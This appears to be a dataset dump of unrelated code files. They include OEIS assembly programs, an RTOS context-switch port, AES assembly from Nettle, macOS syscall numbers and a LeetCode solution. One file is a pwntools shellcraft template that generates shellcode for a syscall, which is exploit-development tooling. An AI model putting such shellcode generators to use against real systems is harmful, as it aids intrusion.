text
stringlengths
1
1.05M
; A020727: Pisot sequence P(2,7): a(0)=2, a(1)=7, thereafter a(n+1) is the nearest integer to a(n)^2/a(n-1). ; 2,7,24,82,280,956,3264,11144,38048,129904,443520,1514272,5170048,17651648,60266496,205762688,702517760,2398545664,8189147136,27959497216,95459694592,325919783936,1112759746560,3799199418368,12971278180352,44286713884672,151204299177984,516243768942592,1762566477414400,6017778371772416,20545980532260864,70148365385498624,239501500477472768,817709271138893824,2791834083600629760,9531917792124731392,32544003001297666048,111112176420941201408,379360699681169473536,1295218445882795491328 mov $1,2 mov $2,3 lpb $0 sub $0,1 mul $1,2 add $1,$2 add $2,$1 lpe mov $0,$1
; A192254: 0-sequence of reduction of (n^2) by x^2 -> x+1. ; 1,1,10,26,76,184,429,941,1994,4094,8208,16128,31169,59393,111818,208330,384620,704408,1280925,2314525,4158346,7432606,13223040,23424576,41335201,72679969,127373194,222545306,387732844,673762744 mov $5,$0 mov $7,$0 add $7,1 lpb $7,1 clr $0,5 mov $0,$5 sub $7,1 sub $0,$7 mov $1,$0 add $3,$0 cal $3,6490 ; a(1) = 1, a(2) = 0; for n > 2, a(n) = n*Fibonacci(n-2) (with the convention Fibonacci(0)=0, Fibonacci(1)=1). add $1,1 mov $4,144 mul $4,$3 mul $1,$4 div $1,144 add $6,$1 lpe mov $1,$6
;******************************************************************************************************** ; uC/OS-II ; The Real-Time Kernel ; ; Copyright 1992-2020 Silicon Laboratories Inc. www.silabs.com ; ; SPDX-License-Identifier: APACHE-2.0 ; ; This software is subject to an open source license and is distributed by ; Silicon Laboratories Inc. pursuant to the terms of the Apache License, ; Version 2.0 available at www.apache.org/licenses/LICENSE-2.0. ; ;******************************************************************************************************** ;******************************************************************************************************** ; ; Renesas M16C Port ; ; Filename : os_cpu_a.asm ; Version : V2.93.00 ;******************************************************************************************************** ; For : Renesas M16C ; Toolchain : IAR's EW for M16C ;******************************************************************************************************** ;******************************************************************************************************** ; PUBLIC FUNCTIONS ;******************************************************************************************************** RSEG CSTACK RSEG ISTACK RSEG UDATA0 EXTERN OSTCBCur ; Declared as OS_TCB * , 32-bit long EXTERN OSTCBHighRdy ; Declared as OS_TCB * , 32-bit long EXTERN OSPrioCur ; Declared as INT8U , 8-bit long EXTERN OSPrioHighRdy ; Declared as INT8U , 8-bit long EXTERN OSIntNesting ; Declared as INT8U , 8-bit long EXTERN OSRunning ; Declared as Boolean (unsigned char), 8-bit long RSEG CODE(1) EXTERN OSIntExit ; External functions written in C EXTERN OSTimeTick EXTERN OSTaskSwHook PUBLIC OSStartHighRdy PUBLIC OSCtxSw PUBLIC OSIntCtxSw PUBLIC OSTickISR ;******************************************************************************************************** ; START MULTITASKING ; void OSStartHighRdy(void) ; ; Note(s) : 1) OSStartHighRdy() MUST: ; a) Call OSTaskSwHook() then, ; b) Set OSRunning to TRUE, ; c) Switch to the highest priority task. ;******************************************************************************************************** .EVEN OSStartHighRdy: JSR OSTaskSwHook MOV.W OSTCBHighRdy, A0 ; SP = OSTCBHighRdy->OSTCBStkPtr LDC [A0], SP MOV.B #01H, OSRunning ; OSRunning = TRUE POPM R0,R1,R2,R3,A0,A1,SB,FB REIT ;******************************************************************************************************** ; PERFORM A CONTEXT SWITCH (From task level) - OSCtxSw() ; ; Note(s) : 1) OSCtxSw() is called in SVC mode with BOTH FIQ and IRQ interrupts DISABLED. ; ; 2) The pseudo-code for OSCtxSw() is: ; a) Save the current task's context onto the current task's stack, ; b) OSTCBCur->OSTCBStkPtr = SP; ; c) OSTaskSwHook(); ; d) OSPrioCur = OSPrioHighRdy; ; e) OSTCBCur = OSTCBHighRdy; ; f) SP = OSTCBHighRdy->OSTCBStkPtr; ; g) Restore the new task's context from the new task's stack, ; h) Return to new task's code. ; ; 3) Upon entry: ; OSTCBCur points to the OS_TCB of the task to suspend, ; OSTCBHighRdy points to the OS_TCB of the task to resume. ; ; 4) OSCtxSw must be mapped to interrupt #0 in the vector table. ;******************************************************************************************************** .EVEN OSCtxSw: PUSHM R0,R1,R2,R3,A0,A1,SB,FB MOV.W OSTCBCur, A0 ; OSTCBCur->OSTCBStkPtr = SP STC SP, [A0] JSR OSTaskSwHook ; OSTaskSwHook() MOV.W OSTCBHighRdy, OSTCBCur ; OSTCBCur = OSTCBHighRdy MOV.W OSPrioHighRdy, OSPrioCur ; OSPrioCur = OSPrioHighRdy MOV.W OSTCBHighRdy, A0 ; SP = OSTCBHighRdy->OSTCBStkPtr LDC [A0], SP POPM R0,R1,R2,R3,A0,A1,SB,FB ; Restore all processor registers from the new task's stack REIT ;******************************************************************************************************** ; PERFORM A CONTEXT SWITCH (From interrupt level) - OSIntCtxSw() ; ; Note(s) : 1) OSIntCtxSw() is called in SVC mode with BOTH FIQ and IRQ interrupts DISABLED. ; ; 2) The pseudo-code for OSCtxSw() is: ; a) OSTaskSwHook(); ; b) OSPrioCur = OSPrioHighRdy; ; c) OSTCBCur = OSTCBHighRdy; ; d) SP = OSTCBHighRdy->OSTCBStkPtr; ; e) Restore the new task's context from the new task's stack, ; f) Return to new task's code. ; ; 3) Upon entry: ; OSTCBCur points to the OS_TCB of the task to suspend, ; OSTCBHighRdy points to the OS_TCB of the task to resume. ;******************************************************************************************************** .EVEN OSIntCtxSw: JSR OSTaskSwHook ; OSTaskSwHook() MOV.W OSTCBHighRdy, OSTCBCur ; OSTCBCur = OSTCBHighRdy MOV.W OSPrioHighRdy, OSPrioCur ; OSPrioCur = OSPrioHighRdy MOV.W OSTCBHighRdy, A0 ; SP = OSTCBHighRdy->OSTCBStkPtr LDC [A0], SP POPM R0,R1,R2,R3,A0,A1,SB,FB ; Restore all processor registers from the new task's stack REIT ;******************************************************************************************************** ; uC/OS-II TIME TICK ISR ; void OSTickISR(void) ; ; Note(s) : 1) OSTickISR() should be placed on the appropriate interrupt vector. ; ; 2) Pseudo code: ; a) Save all registers ; b) OSIntNesting++ ; c) if (OSIntNesting == 1) { ; OSTCBCur->OSTCBStkPtr = SP ; } ; d) OSTimeTick(); ; e) OSIntExit(); ; f) Restore all registers ; g) Return from interrupt; ;******************************************************************************************************** .EVEN OSTickISR: PUSHM R0,R1,R2,R3,A0,A1,SB,FB ; Save current task's registers INC.B OSIntNesting ; OSIntNesting++ CMP.B #1,OSIntNesting ; if (OSIntNesting == 1) { JNE OSTickISR1 MOV.W OSTCBCur, A0 ; OSTCBCur->OSTCBStkPtr = SP STC SP, [A0] ; } OSTickISR1: JSR OSTimeTick ; OSTimeTick() JSR OSIntExit ; OSIntExit() POPM R0,R1,R2,R3,A0,A1,SB,FB ; Restore registers from the new task's stack REIT END
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>epoll_create1(flags) -> str Invokes the syscall epoll_create1. See 'man 2 epoll_create1' for more information. Arguments: flags(int): flags Returns: int </%docstring> <%page args="flags=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['flags'] argument_values = [flags] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_epoll_create1']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* epoll_create1(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
C x86/aes-decrypt-internal.asm ifelse(< Copyright (C) 2001, 2002, 2005, Rafael R. Sevilla, Niels Möller Copyright (C) 2008, 2013 Niels Möller This file is part of GNU Nettle. GNU Nettle is free software: you can redistribute it and/or modify it under the terms of either: * the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. or * the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. or both in parallel, as here. GNU Nettle is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received copies of the GNU General Public License and the GNU Lesser General Public License along with this program. If not, see http://www.gnu.org/licenses/. >) include_src(<x86/aes.m4>) C Register usage: C AES state define(<SA>,<%eax>) define(<SB>,<%ebx>) define(<SC>,<%ecx>) define(<SD>,<%edx>) C Primary use of these registers. They're also used temporarily for other things. define(<T>,<%ebp>) define(<TMP>,<%edi>) define(<KEY>,<%esi>) define(<PARAM_ROUNDS>, <40(%esp)>) define(<PARAM_KEYS>, <44(%esp)>) define(<PARAM_TABLE>, <48(%esp)>) define(<PARAM_LENGTH>, <52(%esp)>) define(<PARAM_DST>, <56(%esp)>) define(<PARAM_SRC>, <60(%esp)>) define(<FRAME_KEY>, <16(%esp)>) define(<FRAME_COUNT>, <12(%esp)>) define(<TA>, <8(%esp)>) define(<TB>, <4(%esp)>) define(<TC>, <(%esp)>) C The aes state is kept in %eax, %ebx, %ecx and %edx C C %esi is used as temporary, to point to the input, and to the C subkeys, etc. C C %ebp is used as the round counter, and as a temporary in the final round. C C %edi is a temporary, often used as an accumulator. .file "aes-decrypt-internal.asm" C _aes_decrypt(unsigned rounds, const uint32_t *keys, C const struct aes_table *T, C size_t length, uint8_t *dst, C uint8_t *src) .text ALIGN(16) PROLOGUE(_nettle_aes_decrypt) C save all registers that need to be saved pushl %ebx C 20(%esp) pushl %ebp C 16(%esp) pushl %esi C 12(%esp) pushl %edi C 8(%esp) subl $20, %esp C loop counter and save area for the key pointer movl PARAM_LENGTH, %ebp testl %ebp,%ebp jz .Lend shrl $4, PARAM_LENGTH subl $1, PARAM_ROUNDS .Lblock_loop: movl PARAM_KEYS, KEY C address of subkeys movl PARAM_SRC, TMP C address of plaintext AES_LOAD(SA, SB, SC, SD, TMP, KEY) addl $16, PARAM_SRC C Increment src pointer movl PARAM_TABLE, T movl PARAM_ROUNDS, TMP C Loop counter on stack movl TMP, FRAME_COUNT addl $16,KEY C point to next key movl KEY,FRAME_KEY ALIGN(16) .Lround_loop: AES_ROUND(T, SA,SD,SC,SB, TMP, KEY) movl TMP, TA AES_ROUND(T, SB,SA,SD,SC, TMP, KEY) movl TMP, TB AES_ROUND(T, SC,SB,SA,SD, TMP, KEY) movl TMP, TC AES_ROUND(T, SD,SC,SB,SA, SD, KEY) movl TA, SA movl TB, SB movl TC, SC movl FRAME_KEY, KEY xorl (KEY),SA C add current session key to plaintext xorl 4(KEY),SB xorl 8(KEY),SC xorl 12(KEY),SD addl $16,FRAME_KEY C point to next key decl FRAME_COUNT jnz .Lround_loop C last round AES_FINAL_ROUND(SA,SD,SC,SB,T, TMP, KEY) movl TMP, TA AES_FINAL_ROUND(SB,SA,SD,SC,T, TMP, KEY) movl TMP, TB AES_FINAL_ROUND(SC,SB,SA,SD,T, TMP, KEY) movl TMP, TC AES_FINAL_ROUND(SD,SC,SB,SA,T, SD, KEY) movl TA, SA movl TB, SB movl TC, SC C Inverse S-box substitution mov $3,TMP .Lsubst: AES_SUBST_BYTE(SA,SB,SC,SD, T, KEY) decl TMP jnz .Lsubst C Add last subkey, and store decrypted data movl PARAM_DST,TMP movl FRAME_KEY, KEY AES_STORE(SA,SB,SC,SD, KEY, TMP) addl $16, PARAM_DST C Increment destination pointer decl PARAM_LENGTH jnz .Lblock_loop .Lend: addl $20, %esp popl %edi popl %esi popl %ebp popl %ebx ret EPILOGUE(_nettle_aes_decrypt)
%define SYS_syscall 0 %define SYS_exit 1 %define SYS_fork 2 %define SYS_read 3 %define SYS_write 4 %define SYS_open 5 %define SYS_close 6 %define SYS_wait4 7 ;; 8 old creat %define SYS_link 9 %define SYS_unlink 10 ;; 11 old execv %define SYS_chdir 12 %define SYS_fchdir 13 %define SYS_mknod 14 %define SYS_chmod 15 %define SYS_chown 16 ;; 17 old break %define SYS_getfsstat 18 ;; 19 old lseek %define SYS_getpid 20 ;; 21 old mount ;; 22 old umount %define SYS_setuid 23 %define SYS_getuid 24 %define SYS_geteuid 25 %define SYS_ptrace 26 %define SYS_recvmsg 27 %define SYS_sendmsg 28 %define SYS_recvfrom 29 %define SYS_accept 30 %define SYS_getpeername 31 %define SYS_getsockname 32 %define SYS_access 33 %define SYS_chflags 34 %define SYS_fchflags 35 %define SYS_sync 36 %define SYS_kill 37 ;; 38 old stat %define SYS_getppid 39 ;; 40 old lstat %define SYS_dup 41 %define SYS_pipe 42 %define SYS_getegid 43 ;; 44 old profil ;; 45 old ktrace %define SYS_sigaction 46 %define SYS_getgid 47 %define SYS_sigprocmask 48 %define SYS_getlogin 49 %define SYS_setlogin 50 %define SYS_acct 51 %define SYS_sigpending 52 %define SYS_sigaltstack 53 %define SYS_ioctl 54 %define SYS_reboot 55 %define SYS_revoke 56 %define SYS_symlink 57 %define SYS_readlink 58 %define SYS_execve 59 %define SYS_umask 60 %define SYS_chroot 61 ;; 62 old fstat ;; 63 used internally and reserved ;; 64 old getpagesize %define SYS_msync 65 %define SYS_vfork 66 ;; 67 old vread ;; 68 old vwrite ;; 69 old sbrk ;; 70 old sstk ;; 71 old mmap ;; 72 old vadvise %define SYS_munmap 73 %define SYS_mprotect 74 %define SYS_madvise 75 ;; 76 old vhangup ;; 77 old vlimit %define SYS_mincore 78 %define SYS_getgroups 79 %define SYS_setgroups 80 %define SYS_getpgrp 81 %define SYS_setpgid 82 %define SYS_setitimer 83 ;; 84 old wait */ %define SYS_swapon 85 %define SYS_getitimer 86 ;; 87 old gethostname */ ;; 88 old sethostname */ %define SYS_getdtablesize 89 %define SYS_dup2 90 ;; 91 old getdopt */ %define SYS_fcntl 92 %define SYS_select 93 ;; 94 old setdopt */ %define SYS_fsync 95 %define SYS_setpriority 96 %define SYS_socket 97 %define SYS_connect 98 ;; 99 old accept */ %define SYS_getpriority 100 ;; 101 old send */ ;; 102 old recv */ ;; 103 old sigreturn */ %define SYS_bind 104 %define SYS_setsockopt 105 %define SYS_listen 106 ;; 107 old vtimes */ ;; 108 old sigvec */ ;; 109 old sigblock */ ;; 110 old sigsetmask */ %define SYS_sigsuspend 111 ;; 112 old sigstack */ ;; 113 old recvmsg */ ;; 114 old sendmsg */ ;; 115 old vtrace */ %define SYS_gettimeofday 116 %define SYS_getrusage 117 %define SYS_getsockopt 118 ;; 119 old resuba */ %define SYS_readv 120 %define SYS_writev 121 %define SYS_settimeofday 122 %define SYS_fchown 123 %define SYS_fchmod 124 ;; 125 old recvfrom */ %define SYS_setreuid 126 %define SYS_setregid 127 %define SYS_rename 128 ;; 129 old truncate */ ;; 130 old ftruncate */ %define SYS_flock 131 %define SYS_mkfifo 132 %define SYS_sendto 133 %define SYS_shutdown 134 %define SYS_socketpair 135 %define SYS_mkdir 136 %define SYS_rmdir 137 %define SYS_utimes 138 %define SYS_futimes 139 %define SYS_adjtime 140 ;; 141 old getpeername */ %define SYS_gethostuuid 142 ;; 143 old sethostid */ ;; 144 old getrlimit */ ;; 145 old setrlimit */ ;; 146 old killpg */ %define SYS_setsid 147 ;; 148 old setquota */ ;; 149 old qquota */ ;; 150 old getsockname */ %define SYS_getpgid 151 %define SYS_setprivexec 152 %define SYS_pread 153 %define SYS_pwrite 154 %define SYS_nfssvc 155 ;; 156 old getdirentries */ %define SYS_statfs 157 %define SYS_fstatfs 158 %define SYS_unmount 159 ;; 160 old async_daemon */ %define SYS_getfh 161 ;; 162 old getdomainname */ ;; 163 old setdomainname */ ;; 164 */ %define SYS_quotactl 165 ;; 166 old exportfs */ %define SYS_mount 167 ;; 168 old ustat */ %define SYS_csops 169 %define SYS_csops_audittoken 170 ;; 171 old wait3 */ ;; 172 old rpause */ %define SYS_waitid 173 ;; 174 old getdents */ ;; 175 old gc_control */ ;; 176 old add_profil */ %define SYS_kdebug_typefilter 177 %define SYS_kdebug_trace_string 178 %define SYS_kdebug_trace64 179 %define SYS_kdebug_trace 180 %define SYS_setgid 181 %define SYS_setegid 182 %define SYS_seteuid 183 %define SYS_sigreturn 184 ;; 185 old chud */ %define SYS_thread_selfcounts 186 %define SYS_fdatasync 187 %define SYS_stat 188 %define SYS_fstat 189 %define SYS_lstat 190 %define SYS_pathconf 191 %define SYS_fpathconf 192 ;; 193 old getfsstat */ %define SYS_getrlimit 194 %define SYS_setrlimit 195 %define SYS_getdirentries 196 %define SYS_mmap 197 ;; 198 old __syscall */ %define SYS_lseek 199 %define SYS_truncate 200 %define SYS_ftruncate 201 %define SYS_sysctl 202 %define SYS_mlock 203 %define SYS_munlock 204 %define SYS_undelete 205 ;; 206 old ATsocket */ ;; 207 old ATgetmsg */ ;; 208 old ATputmsg */ ;; 209 old ATsndreq */ ;; 210 old ATsndrsp */ ;; 211 old ATgetreq */ ;; 212 old ATgetrsp */ ;; 213 Reserved for AppleTalk */ ;; 214 */ ;; 215 */ %define SYS_open_dprotected_np 216 ;; 217 old statv */ ;; 218 old lstatv */ ;; 219 old fstatv */ %define SYS_getattrlist 220 %define SYS_setattrlist 221 %define SYS_getdirentriesattr 222 %define SYS_exchangedata 223 ;; 224 old checkuseraccess or fsgetpath */ %define SYS_searchfs 225 %define SYS_delete 226 %define SYS_copyfile 227 %define SYS_fgetattrlist 228 %define SYS_fsetattrlist 229 %define SYS_poll 230 %define SYS_watchevent 231 %define SYS_waitevent 232 %define SYS_modwatch 233 %define SYS_getxattr 234 %define SYS_fgetxattr 235 %define SYS_setxattr 236 %define SYS_fsetxattr 237 %define SYS_removexattr 238 %define SYS_fremovexattr 239 %define SYS_listxattr 240 %define SYS_flistxattr 241 %define SYS_fsctl 242 %define SYS_initgroups 243 %define SYS_posix_spawn 244 %define SYS_ffsctl 245 %define SYS_nfsclnt 247 %define SYS_fhopen 248 %define SYS_minherit 250 %define SYS_semsys 251 %define SYS_msgsys 252 %define SYS_shmsys 253 %define SYS_semctl 254 %define SYS_semget 255 %define SYS_semop 256 %define SYS_msgctl 258 %define SYS_msgget 259 %define SYS_msgsnd 260 %define SYS_msgrcv 261 %define SYS_shmat 262 %define SYS_shmctl 263 %define SYS_shmdt 264 %define SYS_shmget 265 %define SYS_shm_open 266 %define SYS_shm_unlink 267 %define SYS_sem_open 268 %define SYS_sem_close 269 %define SYS_sem_unlink 270 %define SYS_sem_wait 271 %define SYS_sem_trywait 272 %define SYS_sem_post 273 %define SYS_sysctlbyname 274 %define SYS_open_extended 277 %define SYS_umask_extended 278 %define SYS_stat_extended 279 %define SYS_lstat_extended 280 %define SYS_fstat_extended 281 %define SYS_chmod_extended 282 %define SYS_fchmod_extended 283 %define SYS_access_extended 284 %define SYS_settid 285 %define SYS_gettid 286 %define SYS_setsgroups 287 %define SYS_getsgroups 288 %define SYS_setwgroups 289 %define SYS_getwgroups 290 %define SYS_mkfifo_extended 291 %define SYS_mkdir_extended 292 %define SYS_identitysvc 293 %define SYS_shared_region_check_np 294 ;; 295 old shared_region_map_np %define SYS_vm_pressure_monitor 296 %define SYS_psynch_rw_longrdlock 297 %define SYS_psynch_rw_yieldwrlock 298 %define SYS_psynch_rw_downgrade 299 %define SYS_psynch_rw_upgrade 300 %define SYS_psynch_mutexwait 301 %define SYS_psynch_mutexdrop 302 %define SYS_psynch_cvbroad 303 %define SYS_psynch_cvsignal 304 %define SYS_psynch_cvwait 305 %define SYS_psynch_rw_rdlock 306 %define SYS_psynch_rw_wrlock 307 %define SYS_psynch_rw_unlock 308 %define SYS_psynch_rw_unlock2 309 %define SYS_getsid 310 %define SYS_settid_with_pid 311 %define SYS_psynch_cvclrprepost 312 %define SYS_aio_fsync 313 %define SYS_aio_return 314 %define SYS_aio_suspend 315 %define SYS_aio_cancel 316 %define SYS_aio_error 317 %define SYS_aio_read 318 %define SYS_aio_write 319 %define SYS_lio_listio 320 ;; 321 old __pthread_cond_wait %define SYS_iopolicysys 322 %define SYS_process_policy 323 %define SYS_mlockall 324 %define SYS_munlockall 325 ;; 326 %define SYS_issetugid 327 %define SYS___pthread_kill 328 %define SYS___pthread_sigmask 329 %define SYS___sigwait 330 %define SYS___disable_threadsignal 331 %define SYS___pthread_markcancel 332 %define SYS___pthread_canceled 333 %define SYS___semwait_signal 334 ;; 335 old utrace %define SYS_proc_info 336 %define SYS_sendfile 337 %define SYS_stat64 338 %define SYS_fstat64 339 %define SYS_lstat64 340 %define SYS_stat64_extended 341 %define SYS_lstat64_extended 342 %define SYS_fstat64_extended 343 %define SYS_getdirentries64 344 %define SYS_statfs64 345 %define SYS_fstatfs64 346 %define SYS_getfsstat64 347 %define SYS___pthread_chdir 348 %define SYS___pthread_fchdir 349 %define SYS_audit 350 %define SYS_auditon 351 ;; 352 %define SYS_getauid 353 %define SYS_setauid 354 ;; 355 old getaudit ;; 356 old setaudit %define SYS_getaudit_addr 357 %define SYS_setaudit_addr 358 %define SYS_auditctl 359 %define SYS_bsdthread_create 360 %define SYS_bsdthread_terminate 361 %define SYS_kqueue 362 %define SYS_kevent 363 %define SYS_lchown 364 ;; 365 old stack_snapshot %define SYS_bsdthread_register 366 %define SYS_workq_open 367 %define SYS_workq_kernreturn 368 %define SYS_kevent64 369 %define SYS___old_semwait_signal 370 %define SYS___old_semwait_signal_nocancel 371 %define SYS_thread_selfid 372 %define SYS_ledger 373 %define SYS_kevent_qos 374 %define SYS_kevent_id 375 ;; 376 ;; 377 ;; 378 ;; 379 %define SYS___mac_execve 380 %define SYS___mac_syscall 381 %define SYS___mac_get_file 382 %define SYS___mac_set_file 383 %define SYS___mac_get_link 384 %define SYS___mac_set_link 385 %define SYS___mac_get_proc 386 %define SYS___mac_set_proc 387 %define SYS___mac_get_fd 388 %define SYS___mac_set_fd 389 %define SYS___mac_get_pid 390 ;; 391 ;; 392 ;; 393 %define SYS_pselect 394 %define SYS_pselect_nocancel 395 %define SYS_read_nocancel 396 %define SYS_write_nocancel 397 %define SYS_open_nocancel 398 %define SYS_close_nocancel 399 %define SYS_wait4_nocancel 400 %define SYS_recvmsg_nocancel 401 %define SYS_sendmsg_nocancel 402 %define SYS_recvfrom_nocancel 403 %define SYS_accept_nocancel 404 %define SYS_msync_nocancel 405 %define SYS_fcntl_nocancel 406 %define SYS_select_nocancel 407 %define SYS_fsync_nocancel 408 %define SYS_connect_nocancel 409 %define SYS_sigsuspend_nocancel 410 %define SYS_readv_nocancel 411 %define SYS_writev_nocancel 412 %define SYS_sendto_nocancel 413 %define SYS_pread_nocancel 414 %define SYS_pwrite_nocancel 415 %define SYS_waitid_nocancel 416 %define SYS_poll_nocancel 417 %define SYS_msgsnd_nocancel 418 %define SYS_msgrcv_nocancel 419 %define SYS_sem_wait_nocancel 420 %define SYS_aio_suspend_nocancel 421 %define SYS___sigwait_nocancel 422 %define SYS___semwait_signal_nocancel 423 %define SYS___mac_mount 424 %define SYS___mac_get_mount 425 %define SYS___mac_getfsstat 426 %define SYS_fsgetpath 427 %define SYS_audit_session_self 428 %define SYS_audit_session_join 429 %define SYS_fileport_makeport 430 %define SYS_fileport_makefd 431 %define SYS_audit_session_port 432 %define SYS_pid_suspend 433 %define SYS_pid_resume 434 %define SYS_pid_hibernate 435 %define SYS_pid_shutdown_sockets 436 ;; 437 old shared_region_slide_np %define SYS_shared_region_map_and_slide_np 438 %define SYS_kas_info 439 %define SYS_memorystatus_control 440 %define SYS_guarded_open_np 441 %define SYS_guarded_close_np 442 %define SYS_guarded_kqueue_np 443 %define SYS_change_fdguard_np 444 %define SYS_usrctl 445 %define SYS_proc_rlimit_control 446 %define SYS_connectx 447 %define SYS_disconnectx 448 %define SYS_peeloff 449 %define SYS_socket_delegate 450 %define SYS_telemetry 451 %define SYS_proc_uuid_policy 452 %define SYS_memorystatus_get_level 453 %define SYS_system_override 454 %define SYS_vfs_purge 455 %define SYS_sfi_ctl 456 %define SYS_sfi_pidctl 457 %define SYS_coalition 458 %define SYS_coalition_info 459 %define SYS_necp_match_policy 460 %define SYS_getattrlistbulk 461 %define SYS_clonefileat 462 %define SYS_openat 463 %define SYS_openat_nocancel 464 %define SYS_renameat 465 %define SYS_faccessat 466 %define SYS_fchmodat 467 %define SYS_fchownat 468 %define SYS_fstatat 469 %define SYS_fstatat64 470 %define SYS_linkat 471 %define SYS_unlinkat 472 %define SYS_readlinkat 473 %define SYS_symlinkat 474 %define SYS_mkdirat 475 %define SYS_getattrlistat 476 %define SYS_proc_trace_log 477 %define SYS_bsdthread_ctl 478 %define SYS_openbyid_np 479 %define SYS_recvmsg_x 480 %define SYS_sendmsg_x 481 %define SYS_thread_selfusage 482 %define SYS_csrctl 483 %define SYS_guarded_open_dprotected_np 484 %define SYS_guarded_write_np 485 %define SYS_guarded_pwrite_np 486 %define SYS_guarded_writev_np 487 %define SYS_renameatx_np 488 %define SYS_mremap_encrypted 489 %define SYS_netagent_trigger 490 %define SYS_stack_snapshot_with_config 491 %define SYS_microstackshot 492 %define SYS_grab_pgo_data 493 %define SYS_persona 494 ;; 495 ;; 496 ;; 497 ;; 498 %define SYS_work_interval_ctl 499 %define SYS_getentropy 500 %define SYS_necp_open 501 %define SYS_necp_client_action 502 %define SYS___nexus_open 503 %define SYS___nexus_register 504 %define SYS___nexus_deregister 505 %define SYS___nexus_create 506 %define SYS___nexus_destroy 507 %define SYS___nexus_get_opt 508 %define SYS___nexus_set_opt 509 %define SYS___channel_open 510 %define SYS___channel_get_info 511 %define SYS___channel_sync 512 %define SYS___channel_get_opt 513 %define SYS___channel_set_opt 514 %define SYS_ulock_wait 515 %define SYS_ulock_wake 516 %define SYS_fclonefileat 517 %define SYS_fs_snapshot 518 ;; 519 %define SYS_terminate_with_payload 520 %define SYS_abort_with_payload 521 %define SYS_necp_session_open 522 %define SYS_necp_session_action 523 %define SYS_setattrlistat 524 %define SYS_net_qos_guideline 525 %define SYS_fmount 526 %define SYS_ntp_adjtime 527 %define SYS_ntp_gettime 528 %define SYS_os_fault_with_payload 529 %define SYS_kqueue_workloop_ctl 530 %define SYS___mach_bridge_remote_time 531 %define SYS_MAXSYSCALL 532 %define SYS_invalid 63
/* Problem name: 1237. Find Positive Integer Solution for a Given Equation Problem link: https://leetcode.com/problems/find-positive-integer-solution-for-a-given-equation/ */ /* * // This is the custom function interface. * // You should not implement it, or speculate about its implementation * class CustomFunction { * public: * // Returns f(x, y) for any given positive integers x and y. * // Note that f(x, y) is increasing with respect to both x and y. * // i.e. f(x, y) < f(x + 1, y), f(x, y) < f(x, y + 1) * int f(int x, int y); * }; */ class Solution { public: vector<vector<int>> findSolution(CustomFunction& customfunction, int z) { vector<vector<int>> result; for(int i=1;i<1001;i++) { for(int j=1;j<1001;j++) { if(customfunction.f(i,j) == z) result.push_back({i,j}); else if(customfunction.f(i,j) > z) break; } } return result; } };
; A170123: Number of reduced words of length n in Coxeter group on 18 generators S_i with relations (S_i)^2 = (S_i S_j)^38 = I. ; 1,18,306,5202,88434,1503378,25557426,434476242,7386096114,125563633938,2134581776946,36287890208082,616894133537394,10487200270135698,178282404592306866,3030800878069216722,51523614927176684274 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,17 lpe mov $0,$2 div $0,17
; Small C+ Math Library XLIB ifix LIB floor LIB l_long_neg XREF fa ; ; convert the floating point number in FA ; to an integer in hl (rounds toward negative numbers) ; ; This routine will need to be rewritten to handle longs .IFIX CALL FLOOR ;take floor first LD HL,0 ;initialize the result ld d,l ld e,l LD A,(FA+5) ;get the exponent LD B,A ; and save it OR A RET Z ;z => number was zero LD de,(FA+3) ;get most significant bits ld hl,(fa+1) LD C,d ;save sign bit (msb) LD A,B ;get exponent again CP $80+32 JP M,IFIX5 ;m => fabs(fa) < 32768 ret ; IF 0 ret nz ;would be overflow LD A,d CP $80 ret nz ;overflow.. LD A,L OR A RET ;return -32768. (overflow) ENDIF ; .IFIX5 SET 7,d ;restore hidden bit .IFIX6 SRL d ;shift right (0 fill) rr e rr h RR L ;shift right (cy fill) INC A CP 32+$80 JR NZ,IFIX6 ;nz => haven't shifted enough RL C RET NC ;nc => positive number jp l_long_neg ;negate
